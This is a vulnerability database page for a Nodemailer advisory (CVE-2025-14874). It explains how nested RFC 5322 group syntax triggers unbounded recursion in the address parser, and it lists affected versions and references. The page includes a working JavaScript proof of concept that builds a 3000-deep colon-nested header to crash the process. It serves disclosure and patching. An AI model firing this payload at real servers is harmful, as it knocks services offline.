GHSA-RCMH-QJQH-P98V
Vulnerability from github – Published: 2025-12-01 20:44 – Updated: 2026-02-12 22:09Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: victim@example.com;
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' user@example.com;';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: 'test@example.com',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.10"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-14874"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-01T20:44:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser \u2192 _handleAddress \u2192 addressparser \u2192 ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n ...\n if (data.group.length) {\n let parsedGroup = addressparser(data.group.join(\u0027,\u0027)); // \u003c- boom!\n parsedGroup.forEach(member =\u003e {\n if (member.group) {\n groupMembers = groupMembers.concat(member.group);\n } else {\n groupMembers.push(member);\n }\n });\n }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker\u2019s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require(\u0027nodemailer\u0027);\n\nfunction buildDeepGroup(depth) {\n let parts = [];\n for (let i = 0; i \u003c depth; i++) {\n parts.push(`g${i}:`);\n }\n return parts.join(\u0027 \u0027) + \u0027 user@example.com;\u0027;\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log(\u0027to header length:\u0027, toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n buffer: true,\n newline: \u0027unix\u0027\n});\n\nconsole.log(\u0027parsing start\u0027);\n\ntransporter.sendMail(\n {\n from: \u0027test@example.com\u0027,\n to: toHeader,\n subject: \u0027test\u0027,\n text: \u0027test\u0027\n },\n (err, info) =\u003e {\n if (err) {\n console.error(\u0027error:\u0027, err);\n } else {\n console.log(\u0027finished :\u0027, info \u0026\u0026 info.envelope);\n }\n }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion\u201d",
"id": "GHSA-rcmh-qjqh-p98v",
"modified": "2026-02-12T22:09:00Z",
"published": "2025-12-01T20:44:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-14874"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer\u2019s addressparser is vulnerable to DoS caused by recursive calls"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.